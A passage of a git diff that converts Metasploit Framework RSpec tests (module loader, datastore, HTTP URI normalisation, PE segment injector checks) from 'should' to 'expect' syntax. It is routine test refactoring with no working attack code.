a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index c1466fe210..5ff89034ed 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -166,18 +166,18 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do child_count = reserved_connection_count count_change = child_count - before_count - count_change.should == 1 + expect(count_change).to eq 1 connection_pool.with_connection do grandchild_count = reserved_connection_count - grandchild_count.should == child_count + expect(grandchild_count).to eq child_count end end after_count = reserved_connection_count - after_count.should == before_count + expect(after_count).to eq before_count end end @@ -197,7 +197,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do connection_pool.with_connection do inside = reserved_connection_count - inside.should == outside + expect(inside).to eq outside end end end diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 93a83cac80..7c272c223a 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -31,7 +31,7 @@ RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do end it 'should be the passed in model' do - error_model.should == model + expect(error_model).to eq model end end diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index 2f2304a731..663a598c3d 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -31,7 +31,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Invalid do end it 'should be the passed in model' do - error_model.should == model + expect(error_model).to eq model end end diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index e21c729841..da0d744d25 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -5,29 +5,29 @@ require 'msf/core/data_store' RSpec.shared_examples "datastore" do it "should have options" do - subject["foo"].should == "bar" - subject["fizz"].should == "buzz" + expect(subject["foo"]).to eq "bar" + expect(subject["fizz"]).to eq "buzz" end it "should have case-insensitive keys" do # Sorted by gray code, just for fun - subject["foo"].should == "bar" - subject["Foo"].should == "bar" - subject["FOo"].should == "bar" - subject["fOo"].should == "bar" - subject["fOO"].should == "bar" - subject["FOO"].should == "bar" - subject["FoO"].should == "bar" - subject["foO"].should == "bar" + expect(subject["foo"]).to eq "bar" + expect(subject["Foo"]).to eq "bar" + expect(subject["FOo"]).to eq "bar" + expect(subject["fOo"]).to eq "bar" + expect(subject["fOO"]).to eq "bar" + expect(subject["FOO"]).to eq "bar" + expect(subject["FoO"]).to eq "bar" + expect(subject["foO"]).to eq "bar" end context "#to_h" do it "should return a Hash with correct values" do - subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } + expect(subject.to_h).to eq({ "foo" => "bar", "fizz" => "buzz" }) end end context "#delete" do it "should delete the specified case-insensitive key" do - subject.delete("foo").should == "bar" - subject.delete("Fizz").should == "buzz" + expect(subject.delete("foo")).to eq "bar" + expect(subject.delete("Fizz")).to eq "buzz" end end end diff --git a/spec/lib/msf/core/exe/segment_appender_spec.rb b/spec/lib/msf/core/exe/segment_appender_spec.rb index 7fd5dadbec..02f95ab62e 100644 --- a/spec/lib/msf/core/exe/segment_appender_spec.rb +++ b/spec/lib/msf/core/exe/segment_appender_spec.rb @@ -19,14 +19,14 @@ RSpec.describe Msf::Exe::SegmentAppender do it { should respond_to :buffer_register } it 'should return the correct processor for the arch' do - injector.processor.class.should == Metasm::Ia32 + expect(injector.processor.class).to eq Metasm::Ia32 injector.arch = :x64 - injector.processor.class.should == Metasm::X86_64 + expect(injector.processor.class).to eq Metasm::X86_64 end context '#create_thread_stub' do it 'should use edx as a default buffer register' do - injector.buffer_register.should == 'edx' + expect(injector.buffer_register).to eq 'edx' end context 'when given a non-default buffer register' do @@ -39,14 +39,14 @@ RSpec.describe Msf::Exe::SegmentAppender do } end it 'should use the correct buffer register' do - injector.buffer_register.should == 'eax' + expect(injector.buffer_register).to eq 'eax' end end end describe '#generate_pe' do it 'should return a string' do - injector.generate_pe.kind_of?(String).should == true + expect(injector.generate_pe.kind_of?(String)).to eq true end it 'should produce a valid PE exe' do @@ -56,25 +56,25 @@ RSpec.describe Msf::Exe::SegmentAppender do context 'the generated exe' do let(:exe) { Metasm::PE.decode(injector.generate_pe) } it 'should be the propper arch' do - exe.bitsize.should == 32 + expect(exe.bitsize).to eq 32 end it 'should have 5 sections' do - exe.sections.count.should == 5 + expect(exe.sections.count).to eq 5 end it 'should have all the right original section names' do s_names = [] exe.sections.collect {|s| s_names << s.name} - s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"] + expect(s_names[0,4]).to eq [".text", ".rdata", ".data", ".rsrc"] end it 'should have the last section set to RWX' do - exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + expect(exe.sections.last.characteristics).to eq ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] end it 'should have an entrypoint that points to the last section' do - exe.optheader.entrypoint.should == exe.sections.last.virtaddr + expect(exe.optheader.entrypoint).to eq exe.sections.last.virtaddr end end end diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index fdb98111e1..50d431c3c8 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -19,14 +19,14 @@ RSpec.describe Msf::Exe::SegmentInjector do it { should respond_to :buffer_register } it 'should return the correct processor for the arch' do - injector.processor.class.should == Metasm::Ia32 + expect(injector.processor.class).to eq Metasm::Ia32 injector.arch = :x64 - injector.processor.class.should == Metasm::X86_64 + expect(injector.processor.class).to eq Metasm::X86_64 end context '#create_thread_stub' do it 'should use edx as a default buffer register' do - injector.buffer_register.should == 'edx' + expect(injector.buffer_register).to eq 'edx' end context 'when given a non-default buffer register' do @@ -39,7 +39,7 @@ RSpec.describe Msf::Exe::SegmentInjector do } end it 'should use the correct buffer register' do - injector.buffer_register.should == 'eax' + expect(injector.buffer_register).to eq 'eax' end end @@ -50,7 +50,7 @@ RSpec.describe Msf::Exe::SegmentInjector do describe '#generate_pe' do it 'should return a string' do - injector.generate_pe.kind_of?(String).should == true + expect(injector.generate_pe.kind_of?(String)).to eq true end it 'should produce a valid PE exe' do @@ -60,25 +60,25 @@ RSpec.describe Msf::Exe::SegmentInjector do context 'the generated exe' do let(:exe) { Metasm::PE.decode(injector.generate_pe) } it 'should be the propper arch' do - exe.bitsize.should == 32 + expect(exe.bitsize).to eq 32 end it 'should have 5 sections' do - exe.sections.count.should == 5 + expect(exe.sections.count).to eq 5 end it 'should have all the right section names' do s_names = [] exe.sections.collect {|s| s_names << s.name} - s_names.should == [".text", ".rdata", ".data", ".rsrc", ".text"] + expect(s_names).to eq [".text", ".rdata", ".data", ".rsrc", ".text"] end it 'should have the last section set to RWX' do - exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + expect(exe.sections.last.characteristics).to eq ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] end it 'should have an entrypoint that points to the last section' do - exe.optheader.entrypoint.should == exe.sections.last.virtaddr + expect(exe.optheader.entrypoint).to eq exe.sections.last.virtaddr end end end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index e2be757b85..899bbf3d4c 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -27,8 +27,8 @@ RSpec.describe Msf::Exploit::Capture do it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06)) allow(subject).to receive(:inject_eth).and_return(payload.size) - subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size - subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size + expect(subject.capture_sendto(payload, '127.0.0.1', false)).to eq payload.size + expect(subject.capture_sendto(payload, '127.0.0.1', true)).to eq payload.size end it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do @@ -40,7 +40,7 @@ RSpec.describe Msf::Exploit::Capture do it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do allow(subject).to receive(:lookup_eth).and_return(nil) allow(subject).to receive(:inject_eth).and_return(payload.size) - subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size + expect(subject.capture_sendto(payload, '127.0.0.1', true)).to eq payload.size end end @@ -48,15 +48,15 @@ RSpec.describe Msf::Exploit::Capture do context '#stats_*' do it 'should show received packets' do - subject.stats_recv.should == 0 + expect(subject.stats_recv).to eq 0 end it 'should show dropped packets' do - subject.stats_drop.should == 0 + expect(subject.stats_drop).to eq 0 end it 'should show interface-dropped packets' do - subject.stats_ifdrop.should == 0 + expect(subject.stats_ifdrop).to eq 0 end end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 6aa474a50b..1701e33110 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -28,7 +28,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do subject end it "should return the set vhost" do - cli_vhost.vhost.should == vhost + expect(cli_vhost.vhost).to eq vhost end end @@ -39,7 +39,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return the rhost as the vhost" do cli_rhost.datastore['VHOST'].should be_nil - cli_rhost.vhost.should == rhost + expect(cli_rhost.vhost).to eq rhost end end @@ -60,11 +60,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should be '/'" do - unnormalized_uri.should == '/' + expect(unnormalized_uri).to eq '/' end it "should return '/'" do - normalized_uri.should == '/' + expect(normalized_uri).to eq '/' end end @@ -74,11 +74,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should start with '/'" do - unnormalized_uri[0, 1].should == '/' + expect(unnormalized_uri[0, 1]).to eq '/' end it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end context "with multiple internal '/'" do @@ -87,7 +87,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end @@ -97,11 +97,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should have at least 2 starting '/'" do - unnormalized_uri[0, 2].should == '//' + expect(unnormalized_uri[0, 2]).to eq '//' end it "should return with one starting '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end @@ -115,7 +115,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should end with '/'" do - normalized_uri[-1, 1].should == '/' + expect(normalized_uri[-1, 1]).to eq '/' end context "with multiple trailing '/'" do @@ -124,11 +124,11 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should have multiple trailing '/'" do - unnormalized_uri[-2,2].should == '//' + expect(unnormalized_uri[-2,2]).to eq '//' end it "should return only one trailing '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end end @@ -143,7 +143,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return original string" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end end @@ -158,19 +158,19 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should have trailing '/'" do - unnormalized_uri[-1, 1].should == '/' + expect(unnormalized_uri[-1, 1]).to eq '/' end it "should add starting '/'" do - normalized_uri[0, 1].should == '/' + expect(normalized_uri[0, 1]).to eq '/' end it "should not remove trailing '/'" do - normalized_uri[-1, 1].should == '/' + expect(normalized_uri[-1, 1]).to eq '/' end it 'should normalize the uri' do - normalized_uri.should == "#{expected_normalized_uri}" + expect(normalized_uri).to eq "#{expected_normalized_uri}" end context "with multiple internal '/'" do @@ -179,7 +179,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri + expect(normalized_uri).to eq expected_normalized_uri end end end @@ -194,7 +194,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should add starting '/'" do - normalized_uri[0, 1].should == '/' + expect(normalized_uri[0, 1]).to eq '/' end it "should add trailing '/'" do @@ -213,7 +213,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return '/'" do - normalized_uri.should == '/' + expect(normalized_uri).to eq '/' end end @@ -227,7 +227,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should return '/" do - normalized_uri.should == '/' + expect(normalized_uri).to eq '/' end end end diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 53e5c45015..0a3c9c94d4 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -22,24 +22,24 @@ RSpec.describe Msf::Framework do end it "should return the Version constant" do - described_class.const_get(:Version).should == framework.version + expect(described_class.const_get(:Version)).to eq framework.version end it "should return the concatenation of Major.Minor.Point-Release" do major,minor,point,release = framework.version.split(/[.-]/) - major.to_i.should == described_class::Major - minor.to_i.should == described_class::Minor - point.to_i.should == described_class::Point - "-#{release}".should == described_class::Release + expect(major.to_i).to eq described_class::Major + expect(minor.to_i).to eq described_class::Minor + expect(point.to_i).to eq described_class::Point + expect("-#{release}").to eq described_class::Release end skip "conform to SemVer 2.0 syntax: http://semver.org/" do it "should have constants that correspond to SemVer standards" do major,minor,patch,label = framework.version.split(/[.-]/) - major.to_i.should == described_class::VERSION::MAJOR - minor.to_i.should == described_class::VERSION::MINOR - point.to_i.should == described_class::VERSION::POINT - label.to_s.should == described_class::VERSION::LABEL + expect(major.to_i).to eq described_class::VERSION::MAJOR + expect(minor.to_i).to eq described_class::VERSION::MINOR + expect(point.to_i).to eq described_class::VERSION::POINT + expect(label.to_s).to eq described_class::VERSION::LABEL end end diff --git a/spec/lib/msf/core/modules/error_spec.rb b/spec/lib/msf/core/modules/error_spec.rb index b0103a23a3..61cfe2e25d 100644 --- a/spec/lib/msf/core/modules/error_spec.rb +++ b/spec/lib/msf/core/modules/error_spec.rb @@ -12,7 +12,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message in error' do - subject.to_s.should == "Failed to load module due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module due to #{causal_message}" end end @@ -25,7 +25,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message and module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path}) due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module (from #{module_path}) due to #{causal_message}" end end @@ -38,7 +38,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name}) due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name}) due to #{causal_message}" end end @@ -52,7 +52,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include causal_message, module_path, and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name} from #{module_path}) due to #{causal_message}" end end @@ -62,11 +62,11 @@ RSpec.describe Msf::Modules::Error do end it 'should use :module_path for module_path' do - subject.module_path.should == module_path + expect(subject.module_path).to eq module_path end it 'should include module_path in error' do - subject.to_s.should == "Failed to load module (from #{module_path})" + expect(subject.to_s).to eq "Failed to load module (from #{module_path})" end end @@ -79,7 +79,7 @@ RSpec.describe Msf::Modules::Error do end it 'should include module_path and module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name} from #{module_path})" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name} from #{module_path})" end end @@ -89,11 +89,11 @@ RSpec.describe Msf::Modules::Error do end it 'should use :module_reference_name for module_reference_name' do - subject.module_reference_name.should == module_reference_name + expect(subject.module_reference_name).to eq module_reference_name end it 'should include module_reference_name in error' do - subject.to_s.should == "Failed to load module (#{module_reference_name})" + expect(subject.to_s).to eq "Failed to load module (#{module_reference_name})" end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index e8833dfa6d..729bd37af5 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -56,27 +56,27 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should map Msf::MODULE_AUX to auxiliary' do - directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' + expect(directory_by_type[Msf::MODULE_AUX]).to eq 'auxiliary' end it 'should map Msf::MODULE_ENCODER to encoders' do - directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' + expect(directory_by_type[Msf::MODULE_ENCODER]).to eq 'encoders' end it 'should map Msf::MODULE_EXPLOIT to exploits' do - directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' + expect(directory_by_type[Msf::MODULE_EXPLOIT]).to eq 'exploits' end it 'should map Msf::MODULE_NOP to nops' do - directory_by_type[Msf::MODULE_NOP].should == 'nops' + expect(directory_by_type[Msf::MODULE_NOP]).to eq 'nops' end it 'should map Msf::MODULE_PAYLOAD to payloads' do - directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' + expect(directory_by_type[Msf::MODULE_PAYLOAD]).to eq 'payloads' end it 'should map Msf::MODULE_POST to post' do - directory_by_type[Msf::MODULE_POST].should == 'post' + expect(directory_by_type[Msf::MODULE_POST]).to eq 'post' end end @@ -94,7 +94,7 @@ RSpec.describe Msf::Modules::Loader::Base do constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a constant_line = constant_lines.first - file_line.should == constant_line + expect(file_line).to eq constant_line end end @@ -127,7 +127,7 @@ RSpec.describe Msf::Modules::Loader::Base do loader = double('Loader') namespace_module.loader = loader - namespace_module.loader.should == loader + expect(namespace_module.loader).to eq loader end end @@ -160,7 +160,7 @@ RSpec.describe Msf::Modules::Loader::Base do parent_path = double('Parent Path') namespace_module.parent_path = parent_path - namespace_module.parent_path.should == parent_path + expect(namespace_module.parent_path).to eq parent_path end end end @@ -168,14 +168,14 @@ RSpec.describe Msf::Modules::Loader::Base do context 'MODULE_EXTENSION' do it 'should only support ruby source modules' do - described_class::MODULE_EXTENSION.should == '.rb' + expect(described_class::MODULE_EXTENSION).to eq '.rb' end end context 'MODULE_SEPARATOR' do it 'should make valid module names' do name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) - name.constantize.should == Msf::Modules + expect(name.constantize).to eq Msf::Modules end end @@ -208,7 +208,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should have MODULE_EXTENSION for the extension name' do typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) - File.extname(typed_path).should == described_class::MODULE_EXTENSION + expect(File.extname(typed_path)).to eq described_class::MODULE_EXTENSION end # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything @@ -233,7 +233,7 @@ RSpec.describe Msf::Modules::Loader::Base do context '#initialize' do it 'should set @module_manager' do loader = described_class.new(module_manager) - loader.instance_variable_get(:@module_manager).should == module_manager + expect(loader.instance_variable_get(:@module_manager)).to eq module_manager end end @@ -340,7 +340,7 @@ RSpec.describe Msf::Modules::Loader::Base do subject.stub(:read_module_content => module_content) subject.load_module(parent_path, type, module_reference_name).should be_truthy - namespace_module.parent_path.should == parent_path + expect(namespace_module.parent_path).to eq parent_path end it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do @@ -572,7 +572,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should restore the old namespace module' do subject.load_module(parent_path, type, module_reference_name).should be_falsey Msf::Modules.const_defined?(relative_name).should be_truthy - Msf::Modules.const_get(relative_name).should == @original_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -607,7 +607,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should restore the old namespace module' do subject.load_module(parent_path, type, module_reference_name).should be_falsey Msf::Modules.const_defined?(relative_name).should be_truthy - Msf::Modules.const_get(relative_name).should == @original_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -626,7 +626,7 @@ RSpec.describe Msf::Modules::Loader::Base do original_load_error = "Back in my day this module didn't load" module_manager.module_load_error_by_path[module_path] = original_load_error - module_manager.module_load_error_by_path[module_path].should == original_load_error + expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error subject.load_module(parent_path, type, module_reference_name).should be_truthy module_manager.module_load_error_by_path[module_path].should be_nil end @@ -665,7 +665,7 @@ RSpec.describe Msf::Modules::Loader::Base do module_reference_name, :count_by_type => count_by_type ).should be_truthy - count_by_type[type].should == 1 + expect(count_by_type[type]).to eq 1 end it 'should increment the count if it does exist' do @@ -682,7 +682,7 @@ RSpec.describe Msf::Modules::Loader::Base do ).should be_truthy incremented_count = original_count + 1 - count_by_type[type].should == incremented_count + expect(count_by_type[type]).to eq incremented_count end end end @@ -822,7 +822,7 @@ RSpec.describe Msf::Modules::Loader::Base do end end - subject.send(:current_module, module_names).should == Msf::Modules::Mod0 + expect(subject.send(:current_module, module_names)).to eq Msf::Modules::Mod0 end end @@ -881,7 +881,7 @@ RSpec.describe Msf::Modules::Loader::Base do path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" - subject.send(:module_reference_name_from_path, path).should == path_without_extension + expect(subject.send(:module_reference_name_from_path, path)).to eq path_without_extension end end @@ -901,7 +901,7 @@ RSpec.describe Msf::Modules::Loader::Base do namespace_module_name = subject.send(:namespace_module_name, module_full_name) unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') - [unpacked_name].pack('H*').should == module_full_name + expect([unpacked_name].pack('H*')).to eq module_full_name end end @@ -921,7 +921,7 @@ RSpec.describe Msf::Modules::Loader::Base do relative_name = namespace_module_names.last unpacked_name = relative_name.gsub(/^Mod/, '') - [unpacked_name].pack('H*').should == module_full_name + expect([unpacked_name].pack('H*')).to eq module_full_name end end @@ -988,13 +988,13 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module begin subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| current_constant = Msf::Modules.const_get(relative_name) - current_constant.should == namespace_module + expect(current_constant).to eq namespace_module expect(current_constant).not_to eq @existent_namespace_module raise error_class, error_message @@ -1002,7 +1002,7 @@ RSpec.describe Msf::Modules::Loader::Base do rescue error_class => error end - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module end it 'should re-raise the error' do @@ -1016,18 +1016,18 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with the block returning false' do it 'should restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| current_constant = Msf::Modules.const_get(relative_name) - current_constant.should == namespace_module + expect(current_constant).to eq namespace_module expect(current_constant).not_to eq @existent_namespace_module false end - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module end it 'should return false' do @@ -1039,7 +1039,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with the block returning true' do it 'should not restore the previous namespace module' do - Msf::Modules.const_get(relative_name).should == @existent_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq @existent_namespace_module subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| true @@ -1074,7 +1074,7 @@ RSpec.describe Msf::Modules::Loader::Base do }.to raise_error(NameError) subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_get(relative_name).should == namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq namespace_module end end @@ -1146,7 +1146,7 @@ RSpec.describe Msf::Modules::Loader::Base do end Msf::Modules.const_defined?(relative_name).should be_truthy - Msf::Modules.const_get(relative_name).should == created_namespace_module + expect(Msf::Modules.const_get(relative_name)).to eq created_namespace_module end it 'should return true' do @@ -1258,14 +1258,14 @@ RSpec.describe Msf::Modules::Loader::Base do parent_module.const_defined?(relative_name).should be_truthy current_module = parent_module.const_get(relative_name) - current_module.should == @current_namespace_module + expect(current_module).to eq @current_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) parent_module.const_defined?(relative_name).should be_truthy restored_module = parent_module.const_get(relative_name) - restored_module.should == current_module - restored_module.should == @current_namespace_module + expect(restored_module).to eq current_module + expect(restored_module).to eq @current_namespace_module end it 'should not remove the constant and then set it' do @@ -1296,7 +1296,7 @@ RSpec.describe Msf::Modules::Loader::Base do subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - parent_module.const_get(relative_name).should == @original_namespace_module + expect(parent_module.const_get(relative_name)).to eq @original_namespace_module end end end @@ -1310,7 +1310,7 @@ RSpec.describe Msf::Modules::Loader::Base do subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) parent_module.const_defined?(relative_name).should be_truthy - parent_module.const_get(relative_name).should == @original_namespace_module + expect(parent_module.const_get(relative_name)).to eq @original_namespace_module end end end @@ -1341,7 +1341,7 @@ RSpec.describe Msf::Modules::Loader::Base do usability = 'maybe' metasploit_class = double('Metasploit Class', :is_usable => usability) - subject.send(:usable?, metasploit_class).should == usability + expect(subject.send(:usable?, metasploit_class)).to eq usability end context 'with error from metasploit_class.is_usable' do diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 8bff240c17..493400d3fb 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -57,7 +57,7 @@ RSpec.describe Msf::Modules::Loader::Directory do created_module = module_manager.create(module_full_name) - created_module.name.should == 'MS08-067 Microsoft Server Service Relative Path Stack Corruption' + expect(created_module.name).to eq 'MS08-067 Microsoft Server Service Relative Path Stack Corruption' end context 'with module previously loaded' do @@ -152,13 +152,13 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should return an empty string' do - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + expect(subject.send(:read_module_content, parent_path, type, module_reference_name)).to eq '' end it 'should record the load error' do subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + expect(subject.send(:read_module_content, parent_path, type, module_reference_name)).to eq '' end end end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 95d0318af5..ebb61f47a3 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -133,7 +133,7 @@ RSpec.describe Msf::Modules::Namespace do end it 'should return the metasploit_class' do - subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class + expect(subject.metasploit_class!(module_path, module_reference_name)).to eq metasploit_class end end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index 28b8822ba0..67f581f0b4 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -23,7 +23,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should set minimum_api_version' do - subject.minimum_api_version.should == minimum_api_version + expect(subject.minimum_api_version).to eq minimum_api_version end it 'should include minimum_api_version in error' do @@ -52,7 +52,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should set minimum_core_version' do - subject.minimum_core_version.should == minimum_core_version + expect(subject.minimum_core_version).to eq minimum_core_version end it 'should include minimum_core_version in error' do diff --git a/spec/lib/msf/core/opt_address_range_spec.rb b/spec/lib/msf/core/opt_address_range_spec.rb index d68ef73d48..2ec39453a3 100644 --- a/spec/lib/msf/core/opt_address_range_spec.rb +++ b/spec/lib/msf/core/opt_address_range_spec.rb @@ -45,11 +45,11 @@ RSpec.describe Msf::OptAddressRange do context 'the normalizer' do it 'should handle a call for random IPs' do random_addresses = required_opt.normalize('rand:5') - random_addresses.kind_of?(String).should == true + expect(random_addresses.kind_of?(String)).to eq true ips = random_addresses.split(' ') - ips.count.should == 5 + expect(ips.count).to eq 5 ips.each do |ip| - (ip =~ Rex::Socket::MATCH_IPV4).should == 0 + expect(ip).to match Rex::Socket::MATCH_IPV4 end end end diff --git a/spec/lib/msf/core/opt_enum_spec.rb b/spec/lib/msf/core/opt_enum_spec.rb index 14ccea4cbb..b82d18bc4e 100644 --- a/spec/lib/msf/core/opt_enum_spec.rb +++ b/spec/lib/msf/core/opt_enum_spec.rb @@ -13,11 +13,11 @@ RSpec.describe Msf::OptEnum do context 'the validator' do it 'should return false for a value not in the list' do - subject.valid?('Snap').should == false + expect(subject.valid?('Snap')).to eq false end it 'should return true for a value in the list' do - subject.valid?('Bar').should == true + 